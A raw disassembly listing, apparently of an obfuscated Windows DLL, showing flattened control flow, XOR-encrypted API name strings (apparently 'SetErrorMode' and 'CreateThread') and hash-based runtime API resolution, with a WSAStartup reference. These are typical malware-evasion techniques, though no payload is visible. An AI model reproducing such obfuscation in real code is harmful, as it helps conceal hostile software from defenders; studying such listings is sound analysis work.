cmp byte [rsp + 0x77], 0
mov edi, 0x69c8bf5
cmovne edi, r14d
jmp 0x1800b80c0
mov edi, dword [rsp + 0x48]
cmp edi, 0x7f
setl byte [rsp + 0x77]
mov edi, 0x712764
jmp 0x1800b80c0
mov edi, 0xc1f78589
mov ecx, dword [rsp + 0x68]
jmp 0x1800b80c0
mov ebp, dword [rsp + 0x60]
mov qword [rsp + 0x40], rbp
mov edi, 0xdd1a78bb
jmp 0x1800b80c0
mov edi, dword [rsp + 0x78]
add edi, 1
mov dword [rsp + 0x80], edi
mov edi, 0x1896e869
jmp 0x1800b80c0
mov dword [rsp + 0x60], esi
mov qword [rsp + 0x38], rbx
mov edi, dword [rsp + 0x78]
mov ebp, dword [rsp + 0x60]
cmp ebp, edi
mov edi, 0x2feba92f
cmovb edi, r9d
jmp 0x1800b80c0
mov edi, 0x21babcb7
jmp 0x1800b80c0
mov edi, 0x85147da9
jmp 0x1800b80c0
mov dword [rsp + 0x78], edx
mov edi, dword [rsp + 0x78]
movsx edi, byte [rax + rdi]
mov dword [rsp + 0x48], edi
mov edi, dword [rsp + 0x48]
cmp edi, 0x1f
mov edi, 0x69c8bf5
cmovg edi, r10d
jmp 0x1800b80c0
mov rbp, qword [rsp + 0x40]
movsx ebp, byte [rax + rbp]
mov dword [rsp + 0x50], ebp
mov ebp, dword [rsp + 0x50]
cmp ebp, 0x40
setg byte [rsp + 0x5f]
mov edi, 0xdefd1baa
jmp 0x1800b80c0
mov edi, 0xac782f38
xor esi, esi
mov rbx, r12
jmp 0x1800b80c0
mov edi, 0xc73c2570
mov edx, dword [rsp + 0x80]
jmp 0x1800b80c0
mov edi, 0xc73c2570
xor edx, edx
jmp 0x1800b80c0
cmp edi, 0x2feba92f
jne 0x1800b80c0
mov rcx, qword [rsp + 0x38]
call fcn.1800ae820
lea rcx, [0x1800b7020]
call rax
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x68], rcx
mov rax, qword [rsp + 0x68]
mov byte [rax], 6
mov rax, qword [rsp + 0x68]
add rax, 1
mov qword [rsp + 0x78], rax
mov edx, 0x1102d8b7
nop word cs:[rax + rax]
nop
cmp edx, 0x2cb3d3b1
jg 0x1800b8480
cmp edx, 0xd4eaeb85
je 0x1800b84a7
cmp edx, 0x1102d8b7
jne 0x1800b83f0
movsx rbp, byte [rsp + 0xc0]
mov edx, 0xb0ca6189
nop
cmp edx, 0x541f0396
je 0x1800b84c5
cmp edx, 0xb0ca6189
jne 0x1800b8420
mov edx, 0x9b4a7cb0
nop dword [rax]
cmp edx, 0xb4eed00f
je 0x1800b845c
cmp edx, 0x9b4a7cb0
jne 0x1800b8440
mov qword [rsp + 0x38], rbp
mov edx, 0xb4eed00f
jmp 0x1800b8440
mov rdx, qword [rsp + 0x38]
movsx edx, dl
xor edx, 0x53
mov dword [rsp + 0x50], edx
mov edx, 0x541f0396
jmp 0x1800b8420
cmp edx, 0x2cb3d3b2
je 0x1800b89cf
cmp edx, 0x2eeeab28
jne 0x1800b83f0
mov edx, 0xd4eaeb85
mov rax, qword [rsp + 0x60]
jmp 0x1800b83f0
mov byte [rax], 0
add rax, 1
cmp rax, qword [rsp + 0x40]
mov edx, 0xd4eaeb85
mov ebp, 0x2cb3d3b2
cmove edx, ebp
jmp 0x1800b83f0
mov ebp, dword [rsp + 0x50]
mov rdx, qword [rsp + 0x78]
mov byte [rdx], bpl
mov rdi, qword [rsp + 0x78]
movsx rdx, byte [rsp + 0xc0]
mov ebx, 0xb0ca6189
nop word cs:[rax + rax]
nop
cmp ebx, 0x541f0396
je 0x1800b8547
cmp ebx, 0xb0ca6189
jne 0x1800b84f0
mov ebx, 0x9b4a7cb0
nop word cs:[rax + rax]
nop
cmp ebx, 0xb4eed00f
je 0x1800b852c
cmp ebx, 0x9b4a7cb0
jne 0x1800b8510
mov qword [rsp + 0x38], rdx
mov ebx, 0xb4eed00f
jmp 0x1800b8510
mov rbp, qword [rsp + 0x38]
add bpl, 1
movsx ebp, bpl
xor ebp, 0x65
mov dword [rsp + 0x50], ebp
mov ebx, 0x541f0396
jmp 0x1800b84f0
mov ebp, dword [rsp + 0x50]
mov byte [rdi + 1], bpl
mov ebx, 0xb0ca6189
nop word cs:[rax + rax]
nop
cmp ebx, 0x541f0396
je 0x1800b85b7
cmp ebx, 0xb0ca6189
jne 0x1800b8560
mov ebx, 0x9b4a7cb0
nop word cs:[rax + rax]
nop
cmp ebx, 0xb4eed00f
je 0x1800b859c
cmp ebx, 0x9b4a7cb0
jne 0x1800b8580
mov qword [rsp + 0x38], rdx
mov ebx, 0xb4eed00f
jmp 0x1800b8580
mov rbp, qword [rsp + 0x38]
add bpl, 2
movsx ebp, bpl
xor ebp, 0x74
mov dword [rsp + 0x50], ebp
mov ebx, 0x541f0396
jmp 0x1800b8560
mov ebp, dword [rsp + 0x50]
mov byte [rdi + 2], bpl
mov ebx, 0xb0ca6189
nop word cs:[rax + rax]
nop
cmp ebx, 0x541f0396
je 0x1800b8627
cmp ebx, 0xb0ca6189
jne 0x1800b85d0
mov ebx, 0x9b4a7cb0
nop word cs:[rax + rax]
nop
cmp ebx, 0xb4eed00f
je 0x1800b860c
cmp ebx, 0x9b4a7cb0
jne 0x1800b85f0
mov qword [rsp + 0x38], rdx
mov ebx, 0xb4eed00f
jmp 0x1800b85f0
mov rbp, qword [rsp + 0x38]
add bpl, 3
movsx ebp, bpl
xor ebp, 0x45
mov dword [rsp + 0x50], ebp
mov ebx, 0x541f0396
jmp 0x1800b85d0
mov ebp, dword [rsp + 0x50]
mov byte [rdi + 3], bpl
mov ebx, 0xb0ca6189
nop word cs:[rax + rax]
nop
cmp ebx, 0x541f0396
je 0x1800b8697
cmp ebx, 0xb0ca6189
jne 0x1800b8640
mov ebx, 0x9b4a7cb0
nop word cs:[rax + rax]
nop
cmp ebx, 0xb4eed00f
je 0x1800b867c
cmp ebx, 0x9b4a7cb0
jne 0x1800b8660
mov qword [rsp + 0x38], rdx
mov ebx, 0xb4eed00f
jmp 0x1800b8660
mov rbp, qword [rsp + 0x38]
add bpl, 4
movsx ebp, bpl
xor ebp, 0x72
mov dword [rsp + 0x50], ebp
mov ebx, 0x541f0396
jmp 0x1800b8640
mov ebp, dword [rsp + 0x50]
mov byte [rdi + 4], bpl
mov ebx, 0xb0ca6189
nop word cs:[rax + rax]
nop
cmp ebx, 0x541f0396
je 0x1800b8707
cmp ebx, 0xb0ca6189
jne 0x1800b86b0
mov ebx, 0x9b4a7cb0
nop word cs:[rax + rax]
nop
cmp ebx, 0xb4eed00f
je 0x1800b86ec
cmp ebx, 0x9b4a7cb0
jne 0x1800b86d0
mov qword [rsp + 0x38], rdx
mov ebx, 0xb4eed00f
jmp 0x1800b86d0
mov rbp, qword [rsp + 0x38]
add bpl, 5
movsx ebp, bpl
xor ebp, 0x72
mov dword [rsp + 0x50], ebp
mov ebx, 0x541f0396
jmp 0x1800b86b0
mov ebp, dword [rsp + 0x50]
mov byte [rdi + 5], bpl
mov ebx, 0xb0ca6189
nop word cs:[rax + rax]
nop
cmp ebx, 0x541f0396
je 0x1800b8777
cmp ebx, 0xb0ca6189
jne 0x1800b8720
mov ebx, 0x9b4a7cb0
nop word cs:[rax + rax]
nop
cmp ebx, 0xb4eed00f
je 0x1800b875c
cmp ebx, 0x9b4a7cb0
jne 0x1800b8740
mov qword [rsp + 0x38], rdx
mov ebx, 0xb4eed00f
jmp 0x1800b8740
mov rbp, qword [rsp + 0x38]
add bpl, 6
movsx ebp, bpl
xor ebp, 0x6f
mov dword [rsp + 0x50], ebp
mov ebx, 0x541f0396
jmp 0x1800b8720
mov ebp, dword [rsp + 0x50]
mov byte [rdi + 6], bpl
mov ebx, 0xb0ca6189
nop word cs:[rax + rax]
nop
cmp ebx, 0x541f0396
je 0x1800b87e7
cmp ebx, 0xb0ca6189
jne 0x1800b8790
mov ebx, 0x9b4a7cb0
nop word cs:[rax + rax]
nop
cmp ebx, 0xb4eed00f
je 0x1800b87cc
cmp ebx, 0x9b4a7cb0
jne 0x1800b87b0
mov qword [rsp + 0x38], rdx
mov ebx, 0xb4eed00f
jmp 0x1800b87b0
mov rbp, qword [rsp + 0x38]
add bpl, 7
movsx ebp, bpl
xor ebp, 0x72
mov dword [rsp + 0x50], ebp
mov ebx, 0x541f0396
jmp 0x1800b8790
mov ebp, dword [rsp + 0x50]
mov byte [rdi + 7], bpl
mov ebx, 0xb0ca6189
nop word cs:[rax + rax]
nop
cmp ebx, 0x541f0396
je 0x1800b8857
cmp ebx, 0xb0ca6189
jne 0x1800b8800
mov ebx, 0x9b4a7cb0
nop word cs:[rax + rax]
nop
cmp ebx, 0xb4eed00f
je 0x1800b883c
cmp ebx, 0x9b4a7cb0
jne 0x1800b8820
mov qword [rsp + 0x38], rdx
mov ebx, 0xb4eed00f
jmp 0x1800b8820
mov rbp, qword [rsp + 0x38]
add bpl, 8
movsx ebp, bpl
xor ebp, 0x4d
mov dword [rsp + 0x50], ebp
mov ebx, 0x541f0396
jmp 0x1800b8800
mov ebp, dword [rsp + 0x50]
mov byte [rdi + 8], bpl
mov ebx, 0xb0ca6189
nop word cs:[rax + rax]
nop
cmp ebx, 0x541f0396
je 0x1800b88c7
cmp ebx, 0xb0ca6189
jne 0x1800b8870
mov ebx, 0x9b4a7cb0
nop word cs:[rax + rax]
nop
cmp ebx, 0xb4eed00f
je 0x1800b88ac
cmp ebx, 0x9b4a7cb0
jne 0x1800b8890
mov qword [rsp + 0x38], rdx
mov ebx, 0xb4eed00f
jmp 0x1800b8890
mov rbp, qword [rsp + 0x38]
add bpl, 9
movsx ebp, bpl
xor ebp, 0x6f
mov dword [rsp + 0x50], ebp
mov ebx, 0x541f0396
jmp 0x1800b8870
mov ebp, dword [rsp + 0x50]
mov byte [rdi + 9], bpl
mov ebx, 0xb0ca6189
nop word cs:[rax + rax]
nop
cmp ebx, 0x541f0396
je 0x1800b8937
cmp ebx, 0xb0ca6189
jne 0x1800b88e0
mov ebx, 0x9b4a7cb0
nop word cs:[rax + rax]
nop
cmp ebx, 0xb4eed00f
je 0x1800b891c
cmp ebx, 0x9b4a7cb0
jne 0x1800b8900
mov qword [rsp + 0x38], rdx
mov ebx, 0xb4eed00f
jmp 0x1800b8900
mov rbp, qword [rsp + 0x38]
add bpl, 0xa
movsx ebp, bpl
xor ebp, 0x64
mov dword [rsp + 0x50], ebp
mov ebx, 0x541f0396
jmp 0x1800b88e0
mov ebp, dword [rsp + 0x50]
mov byte [rdi + 0xa], bpl
mov ebx, 0xb0ca6189
nop word cs:[rax + rax]
nop
cmp ebx, 0x541f0396
je 0x1800b89a7
cmp ebx, 0xb0ca6189
jne 0x1800b8950
mov ebx, 0x9b4a7cb0
nop word cs:[rax + rax]
nop
cmp ebx, 0xb4eed00f
je 0x1800b898c
cmp ebx, 0x9b4a7cb0
jne 0x1800b8970
mov qword [rsp + 0x38], rdx
mov ebx, 0xb4eed00f
jmp 0x1800b8970
mov rbp, qword [rsp + 0x38]
add bpl, 0xb
movsx ebp, bpl
xor ebp, 0x65
mov dword [rsp + 0x50], ebp
mov ebx, 0x541f0396
jmp 0x1800b8950
mov edx, dword [rsp + 0x50]
mov byte [rdi + 0xb], dl
add rdi, 0xc
mov qword [rsp + 0x60], rdi
mov rdx, qword [rsp + 0x68]
add rdx, 0xe
mov qword [rsp + 0x40], rdx
mov edx, 0x2eeeab28
jmp 0x1800b83f0
call fcn.1800b98e0
mov edi, 0x43eb47cb
movabs r8, 0x100000001b3
mov r9d, 0x4e4b30dd
mov r10d, 0xb34bc921
jmp 0x1800b8a10
movsxd rbx, ecx
xor rbx, qword [rsp + 0x38]
imul rbx, r8
mov esi, dword [rsp + 0x60]
add esi, 1
mov edi, 0xac782f38
nop dword [rax]
cmp edi, 0xfdea039d
jg 0x1800b8a60
cmp edi, 0xb34bc920
jle 0x1800b8ab0
cmp edi, 0xc73c256f
jg 0x1800b8b3a
cmp edi, 0xb34bc921
je 0x1800b8bf5
cmp edi, 0xc1f78589
je 0x1800b89f1
cmp edi, 0xc25c29e1
jne 0x1800b8a10
mov edi, 0xc1f78589
mov ecx, dword [rsp + 0x50]
jmp 0x1800b8a10
cmp edi, 0x235505ee
jle 0x1800b8b00
cmp edi, 0x43eb47ca
jle 0x1800b8b71
cmp edi, 0x5d545c20
je 0x1800b8c0b
cmp edi, 0x4e4b30dd
je 0x1800b8c19
cmp edi, 0x43eb47cb
jne 0x1800b8a10
mov edi, 0xfdea039e
jmp 0x1800b8a10
cmp edi, 0x9cec7399
jle 0x1800b8b9c
cmp edi, 0x9cec739a
je 0x1800b8c2c
cmp edi, 0xac782f38
je 0x1800b8c44
cmp edi, 0xb224b707
jne 0x1800b8a10
mov ebp, dword [rsp + 0x50]
or ebp, 0x20
mov dword [rsp + 0x68], ebp
mov edi, 0x5d545c20
jmp 0x1800b8a10
cmp edi, 0x69c8bf4
jle 0x1800b8bca
cmp edi, 0x69c8bf5
je 0x1800b8c65
cmp edi, 0x1896e869
je 0x1800b8c6f
cmp edi, 0x21babcb7
jne 0x1800b8a10
mov edi, 0x235505ef
jmp 0x1800b8a10
cmp edi, 0xc73c2570
je 0x1800b8c79
cmp edi, 0xdd1a78bb
je 0x1800b8c9e
cmp edi, 0xdefd1baa
jne 0x1800b8a10
cmp byte [rsp + 0x5f], 0
mov edi, 0xc25c29e1
cmovne edi, r13d
jmp 0x1800b8a10
cmp edi, 0x235505ef
je 0x1800b8cc1
cmp edi, 0x2ea53566
jne 0x1800b8ced
cmp byte [rsp + 0x4f], 0
mov edi, 0xc25c29e1
cmovne edi, r15d
jmp 0x1800b8a10
cmp edi, 0x85147da9
je 0x1800b8cd0
cmp edi, 0x994d3a99
jne 0x1800b8a10
mov ebp, dword [rsp + 0x50]
cmp ebp, 0x5b
setl byte [rsp + 0x4f]
mov edi, 0x2ea53566
jmp 0x1800b8a10
cmp edi, 0xfdea039e
je 0x1800b8ce1
cmp edi, 0x712764
jne 0x1800b8a10
cmp byte [rsp + 0x77], 0
mov edi, 0x69c8bf5
cmovne edi, r14d
jmp 0x1800b8a10
mov ebp, dword [rsp + 0x48]
cmp ebp, 0x7f
setl byte [rsp + 0x77]
mov edi, 0x712764
jmp 0x1800b8a10
mov edi, 0xc1f78589
mov ecx, dword [rsp + 0x68]
jmp 0x1800b8a10
mov ebp, dword [rsp + 0x60]
mov qword [rsp + 0x40], rbp
mov edi, 0xdd1a78bb
jmp 0x1800b8a10
mov ebp, dword [rsp + 0x78]
add ebp, 1
mov dword [rsp + 0x80], ebp
mov edi, 0x1896e869
jmp 0x1800b8a10
mov dword [rsp + 0x60], esi
mov qword [rsp + 0x38], rbx
mov ebp, dword [rsp + 0x78]
mov edi, dword [rsp + 0x60]
cmp edi, ebp
mov edi, 0x2feba92f
cmovb edi, r9d
jmp 0x1800b8a10
mov edi, 0x21babcb7
jmp 0x1800b8a10
mov edi, 0x85147da9
jmp 0x1800b8a10
mov dword [rsp + 0x78], edx
mov ebp, dword [rsp + 0x78]
movsx ebp, byte [rax + rbp]
mov dword [rsp + 0x48], ebp
mov ebp, dword [rsp + 0x48]
cmp ebp, 0x1f
mov edi, 0x69c8bf5
cmovg edi, r10d
jmp 0x1800b8a10
mov rbp, qword [rsp + 0x40]
movsx ebp, byte [rax + rbp]
mov dword [rsp + 0x50], ebp
mov ebp, dword [rsp + 0x50]
cmp ebp, 0x40
setg byte [rsp + 0x5f]
mov edi, 0xdefd1baa
jmp 0x1800b8a10
mov edi, 0xac782f38
xor esi, esi
mov rbx, r12
jmp 0x1800b8a10
mov edi, 0xc73c2570
mov edx, dword [rsp + 0x80]
jmp 0x1800b8a10
mov edi, 0xc73c2570
xor edx, edx
jmp 0x1800b8a10
cmp edi, 0x2feba92f
jne 0x1800b8a10
mov rcx, qword [rsp + 0x38]
call fcn.1800ae820
mov ecx, 0x8003
call rax
lea rcx, [rsp + 0xb0]
mov qword [rsp + 0x90], rcx
mov rax, qword [rsp + 0x90]
mov qword [rsp + 0x78], rcx
mov rax, qword [rsp + 0x78]
mov byte [rax], 0x1c
mov rax, qword [rsp + 0x78]
mov ecx, 0x3cf284ed
nop dword [rax]
cmp ecx, 0x677cb1bf
je 0x1800b8d62
cmp ecx, 0x3cf284ed
jne 0x1800b8d40
mov dword [rsp + 0xc0], 0x43
mov ecx, 0x677cb1bf
jmp 0x1800b8d40
mov edx, 0xb5d39bd8
mov cl, byte [rsp + 0xb0]
nop
cmp edx, 0x127589d7
je 0x1800b8d8b
cmp edx, 0xb5d39bd8
jne 0x1800b8d70
mov byte [rsp + 0x38], cl
mov edx, 0x127589d7
jmp 0x1800b8d70
mov dl, byte [rsp + 0x38]
mov ebp, dword [rsp + 0xc0]
xor bpl, dl
mov byte [rax + 1], bpl
mov edx, 0x3cf284ed
nop word cs:[rax + rax]
nop dword [rax]
cmp edx, 0x677cb1bf
je 0x1800b8dd2
cmp edx, 0x3cf284ed
jne 0x1800b8db0
mov dword [rsp + 0xc0], WSAStartup
mov edx, 0x677cb1bf
jmp 0x1800b8db0
mov edx, 0xb5d39bd8
nop word [rax + rax]
cmp edx, 0x127589d7
je 0x1800b8dfb
cmp edx, 0xb5d39bd8
jne 0x1800b8de0
mov byte [rsp + 0x38], cl
mov edx, 0x127589d7
jmp 0x1800b8de0
mov cl, byte [rsp + 0x38]
add cl, 1
mov edx, dword [rsp + 0xc0]
xor dl, cl
mov byte [rax + 2], dl
add rax, 3
mov qword [rsp + 0x60], rax
mov ecx, 0x9d2e62c7
nop dword [rax]
cmp ecx, 0x55650824
jg 0x1800b8e40
cmp ecx, 0x9d2e62c7
je 0x1800b8e6e
cmp ecx, 0xf69b1771
jne 0x1800b8e20
jmp 0x1800b931c
cmp ecx, 0x55650825
je 0x1800b8e9f
cmp ecx, 0x5d8fe634
jne 0x1800b8e20
mov byte [rax], 0
add rax, 1
cmp rax, qword [rsp + 0xc0]
mov ecx, 0x5d8fe634
mov edx, 0xf69b1771
cmove ecx, edx
jmp 0x1800b8e20
mov ecx, 0x3cf284ed
nop word cs:[rax + rax]
nop dword [rax]
cmp ecx, 0x677cb1bf
je 0x1800b8ecb
cmp ecx, 0x3cf284ed
jne 0x1800b8e80
mov dword [rsp + 0x68], 0x65
mov ecx, 0x677cb1bf
jmp 0x1800b8e80
mov rax, qword [rsp + 0x38]
movsx eax, byte [rax]
mov ecx, 0x3cf284ed
nop dword [rax]
cmp ecx, 0x677cb1bf
je 0x1800b8efb
cmp ecx, 0x3cf284ed
jne 0x1800b8eb0
mov dword [rsp + 0x68], eax
mov ecx, 0x677cb1bf
jmp 0x1800b8eb0
mov edx, 0xb5d39bd8
mov cl, byte [rsp + 0xb0]
nop word [rax + rax]
cmp edx, 0x127589d7
je 0x1800b8f2b
cmp edx, 0xb5d39bd8
jne 0x1800b8ee0
mov byte [rsp + 0x50], cl
mov edx, 0x127589d7
jmp 0x1800b8ee0
mov ecx, 0xb5d39bd8
mov al, byte [rsp + 0xb0]
nop word [rax + rax]
cmp ecx, 0x127589d7
je 0x1800b8f6f
cmp ecx, 0xb5d39bd8
jne 0x1800b8f10
mov byte [rsp + 0x50], al
mov ecx, 0x127589d7
jmp 0x1800b8f10
mov cl, byte [rsp + 0x50]
add cl, 2
mov edx, dword [rsp + 0x68]
xor dl, cl
mov rcx, qword [rsp + 0x60]
mov byte [rcx], dl
mov rcx, qword [rsp + 0x60]
mov edx, 0x3cf284ed
nop dword [rax]
cmp edx, 0x677cb1bf
je 0x1800b8fa6
cmp edx, 0x3cf284ed
jne 0x1800b8f50
mov dword [rsp + 0x68], 0x61
mov edx, 0x677cb1bf
jmp 0x1800b8f50
mov al, byte [rsp + 0x50]
add al, 0xb
mov ecx, dword [rsp + 0x68]
xor cl, al
mov rax, qword [rsp + 0x40]
mov byte [rax], cl
mov rax, qword [rsp + 0x40]
add rax, 1
mov rcx, qword [rsp + 0x78]
add rcx, 0xe
mov qword [rsp + 0xc0], rcx
mov ecx, 0x5d8fe634
jmp 0x1800b8e20
mov ebx, 0xb5d39bd8
mov dl, byte [rsp + 0xb0]
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x127589d7
je 0x1800b8fdb
cmp ebx, 0xb5d39bd8
jne 0x1800b8fc0
mov byte [rsp + 0x50], dl
mov ebx, 0x127589d7
jmp 0x1800b8fc0
mov bl, byte [rsp + 0x50]
add bl, 3
mov ebp, dword [rsp + 0x68]
xor bpl, bl
mov byte [rcx + 1], bpl
mov ebx, 0x3cf284ed
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x677cb1bf
je 0x1800b901f
cmp ebx, 0x3cf284ed
jne 0x1800b9000
mov dword [rsp + 0x68], 0x74
mov ebx, 0x677cb1bf
jmp 0x1800b9000
mov ebx, 0xb5d39bd8
nop word cs:[rax + rax]
nop
cmp ebx, 0x127589d7
je 0x1800b904b
cmp ebx, 0xb5d39bd8
jne 0x1800b9030
mov byte [rsp + 0x50], dl
mov ebx, 0x127589d7
jmp 0x1800b9030
mov bl, byte [rsp + 0x50]
add bl, 4
mov ebp, dword [rsp + 0x68]
xor bpl, bl
mov byte [rcx + 2], bpl
mov ebx, 0x3cf284ed
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x677cb1bf
je 0x1800b908f
cmp ebx, 0x3cf284ed
jne 0x1800b9070
mov dword [rsp + 0x68], 0x65
mov ebx, 0x677cb1bf
jmp 0x1800b9070
mov ebx, 0xb5d39bd8
nop word cs:[rax + rax]
nop
cmp ebx, 0x127589d7
je 0x1800b90bb
cmp ebx, 0xb5d39bd8
jne 0x1800b90a0
mov byte [rsp + 0x50], dl
mov ebx, 0x127589d7
jmp 0x1800b90a0
mov bl, byte [rsp + 0x50]
add bl, 5
mov ebp, dword [rsp + 0x68]
xor bpl, bl
mov byte [rcx + 3], bpl
mov ebx, 0x3cf284ed
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x677cb1bf
je 0x1800b90ff
cmp ebx, 0x3cf284ed
jne 0x1800b90e0
mov dword [rsp + 0x68], 0x54
mov ebx, 0x677cb1bf
jmp 0x1800b90e0
mov ebx, 0xb5d39bd8
nop word cs:[rax + rax]
nop
cmp ebx, 0x127589d7
je 0x1800b912b
cmp ebx, 0xb5d39bd8
jne 0x1800b9110
mov byte [rsp + 0x50], dl
mov ebx, 0x127589d7
jmp 0x1800b9110
mov bl, byte [rsp + 0x50]
add bl, 6
mov ebp, dword [rsp + 0x68]
xor bpl, bl
mov byte [rcx + 4], bpl
mov ebx, 0x3cf284ed
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x677cb1bf
je 0x1800b916f
cmp ebx, 0x3cf284ed
jne 0x1800b9150
mov dword [rsp + 0x68], 0x68
mov ebx, 0x677cb1bf
jmp 0x1800b9150
mov ebx, 0xb5d39bd8
nop word cs:[rax + rax]
nop
cmp ebx, 0x127589d7
je 0x1800b919b
cmp ebx, 0xb5d39bd8
jne 0x1800b9180
mov byte [rsp + 0x50], dl
mov ebx, 0x127589d7
jmp 0x1800b9180
mov bl, byte [rsp + 0x50]
add bl, 7
mov ebp, dword [rsp + 0x68]
xor bpl, bl
mov byte [rcx + 5], bpl
mov ebx, 0x3cf284ed
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x677cb1bf
je 0x1800b91df
cmp ebx, 0x3cf284ed
jne 0x1800b91c0
mov dword [rsp + 0x68], WSAStartup
mov ebx, 0x677cb1bf
jmp 0x1800b91c0
mov ebx, 0xb5d39bd8
nop word cs:[rax + rax]
nop
cmp ebx, 0x127589d7
je 0x1800b920b
cmp ebx, 0xb5d39bd8
jne 0x1800b91f0
mov byte [rsp + 0x50], dl
mov ebx, 0x127589d7
jmp 0x1800b91f0
mov bl, byte [rsp + 0x50]
add bl, 8
mov ebp, dword [rsp + 0x68]
xor bpl, bl
mov byte [rcx + 6], bpl
mov ebx, 0x3cf284ed
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x677cb1bf
je 0x1800b924f
cmp ebx, 0x3cf284ed
jne 0x1800b9230
mov dword [rsp + 0x68], 0x65
mov ebx, 0x677cb1bf
jmp 0x1800b9230
mov ebx, 0xb5d39bd8
nop word cs:[rax + rax]
nop
cmp ebx, 0x127589d7
je 0x1800b927b
cmp ebx, 0xb5d39bd8
jne 0x1800b9260
mov byte [rsp + 0x50], dl
mov ebx, 0x127589d7
jmp 0x1800b9260
mov bl, byte [rsp + 0x50]
add bl, 9
mov ebp, dword [rsp + 0x68]
xor bpl, bl
mov byte [rcx + 7], bpl
mov ebx, 0x3cf284ed
nop word cs:[rax + rax]
nop dword [rax]
cmp ebx, 0x677cb1bf
je 0x1800b92bf
cmp ebx, 0x3cf284ed
jne 0x1800b92a0
mov dword [rsp + 0x68], 0x61
mov ebx, 0x677cb1bf
jmp 0x1800b92a0
mov ebx, 0xb5d39bd8
nop word cs:[rax + rax]
nop
cmp ebx, 0x127589d7
je 0x1800b92eb
cmp ebx, 0xb5d39bd8
jne 0x1800b92d0
mov byte [rsp + 0x50], dl
mov ebx, 0x127589d7
jmp 0x1800b92d0
mov dl, byte [rsp + 0x50]
add dl, 0xa
mov ebp, dword [rsp + 0x68]
xor bpl, dl
mov byte [rcx + 8], bpl
add rcx, 9
mov qword [rsp + 0x40], rcx
lea rcx, [0x1800dfa9e]
mov qword [rsp + 0x38], rcx
mov ecx, 0x55650825
jmp 0x1800b8e20
lea rcx, [rsp + 0xb0]
call fcn.1800b9ae0
mov edi, 0x43eb47cb
movabs r8, 0x100000001b3
mov r9d, 0x4e4b30dd
mov r10d, 0xb34bc921
jmp 0x1800b9370
movsxd rbx, ecx
xor rbx, qword [rsp + 0xc0]
imul rbx, r8
mov esi, dword [rsp + 0x40]
add esi, 1
mov edi, 0xac782f38
nop word cs:[rax + rax]
nop dword [rax + rax]
cmp edi, 0xfdea039d
jg 0x1800b93c0
cmp edi, 0xb34bc920
jle 0x1800b9410
cmp edi, 0xc73c256f
jg 0x1800b949a
cmp edi, 0xb34bc921
je 0x1800b9555
cmp edi, 0xc1f78589
je 0x1800b9346
cmp edi, 0xc25c29e1
jne 0x1800b9370
mov edi, 0xc1f78589
mov ecx, dword [rsp + 0x68]
jmp 0x1800b9370
cmp edi, 0x235505ee
jle 0x1800b9460
cmp edi, 0x43eb47ca
jle 0x1800b94d1
cmp edi, 0x5d545c20
je 0x1800b956e
cmp edi, 0x4e4b30dd
je 0x1800b957c
cmp edi, 0x43eb47cb
jne 0x1800b9370
mov edi, 0xfdea039e
jmp 0x1800b9370
cmp edi, 0x9cec7399
jle 0x1800b94fc
cmp edi, 0x9cec739a
je 0x1800b958f
cmp edi, 0xac782f38
je 0x1800b95a4
cmp edi, 0xb224b707
jne 0x1800b9370
mov ebp, dword [rsp + 0x68]
or ebp, 0x20
mov dword [rsp + 0x78], ebp
mov edi, 0x5d545c20
jmp 0x1800b9370
cmp edi, 0x69c8bf4
jle 0x1800b952a
cmp edi, 0x69c8bf5
je 0x1800b95c8
cmp edi, 0x1896e869
je 0x1800b95d2
cmp edi, 0x21babcb7
jne 0x1800b9370
mov edi, 0x235505ef
jmp 0x1800b9370
cmp edi, 0xc73c2570
je 0x1800b95dc
cmp edi, 0xdd1a78bb
je 0x1800b9607
cmp edi, 0xdefd1baa
jne 0x1800b9370
cmp byte [rsp + 0x4f], 0
mov edi, 0xc25c29e1
cmovne edi, r13d
jmp 0x1800b9370
cmp edi, 0x235505ef
je 0x1800b962a
cmp edi, 0x2ea53566
jne 0x1800b9653
cmp byte [rsp + 0x48], 0
mov edi, 0xc25c29e1
cmovne edi, r15d
jmp 0x1800b9370
cmp edi, 0x85147da9
je 0x1800b9639
cmp edi, 0x994d3a99
jne 0x1800b9370
mov ebp, dword [rsp + 0x68]
cmp ebp, 0x5b
setl byte [rsp + 0x48]
mov edi, 0x2ea53566
jmp 0x1800b9370
cmp edi, 0xfdea039e
je 0x1800b9647
cmp edi, 0x712764
jne 0x1800b9370
cmp byte [rsp + 0x5f], 0
mov edi, 0x69c8bf5
cmovne edi, r14d
jmp 0x1800b9370
mov ebp, dword [rsp + 0x80]
cmp ebp, 0x7f
setl byte [rsp + 0x5f]
mov edi, 0x712764
jmp 0x1800b9370
mov edi, 0xc1f78589
mov ecx, dword [rsp + 0x78]
jmp 0x1800b9370
mov ebp, dword [rsp + 0x40]
mov qword [rsp + 0x38], rbp
mov edi, 0xdd1a78bb
jmp 0x1800b9370
mov ebp, dword [rsp + 0x60]
add ebp, 1
mov dword [rsp + 0x50], ebp
mov edi, 0x1896e869
jmp 0x1800b9370
mov dword [rsp + 0x40], esi
mov qword [rsp + 0xc0], rbx
mov ebp, dword [rsp + 0x60]
mov edi, dword [rsp + 0x40]
cmp edi, ebp
mov edi, 0x2feba92f
cmovb edi, r9d
jmp 0x1800b9370
mov edi, 0x21babcb7
jmp 0x1800b9370
mov edi, 0x85147da9
jmp 0x1800b9370
mov dword [rsp + 0x60], edx
mov ebp, dword [rsp + 0x60]
movsx ebp, byte [rax + rbp]
mov dword [rsp + 0x80], ebp
mov ebp, dword [rsp + 0x80]
cmp ebp, 0x1f
mov edi, 0x69c8bf5
cmovg edi, r10d
jmp 0x1800b9370
mov rbp, qword [rsp + 0x38]
movsx ebp, byte [rax + rbp]
mov dword [rsp + 0x68], ebp
mov ebp, dword [rsp + 0x68]
cmp ebp, 0x40
setg byte [rsp + 0x4f]
mov edi, 0xdefd1baa
jmp 0x1800b9370
mov edi, 0xac782f38
xor esi, esi
mov rbx, r12
jmp 0x1800b9370
mov edi, 0xc73c2570
mov edx, dword [rsp + 0x50]
jmp 0x1800b9370
mov edi, 0xc73c2570
xor edx, edx
jmp 0x1800b9370
cmp edi, 0x2feba92f
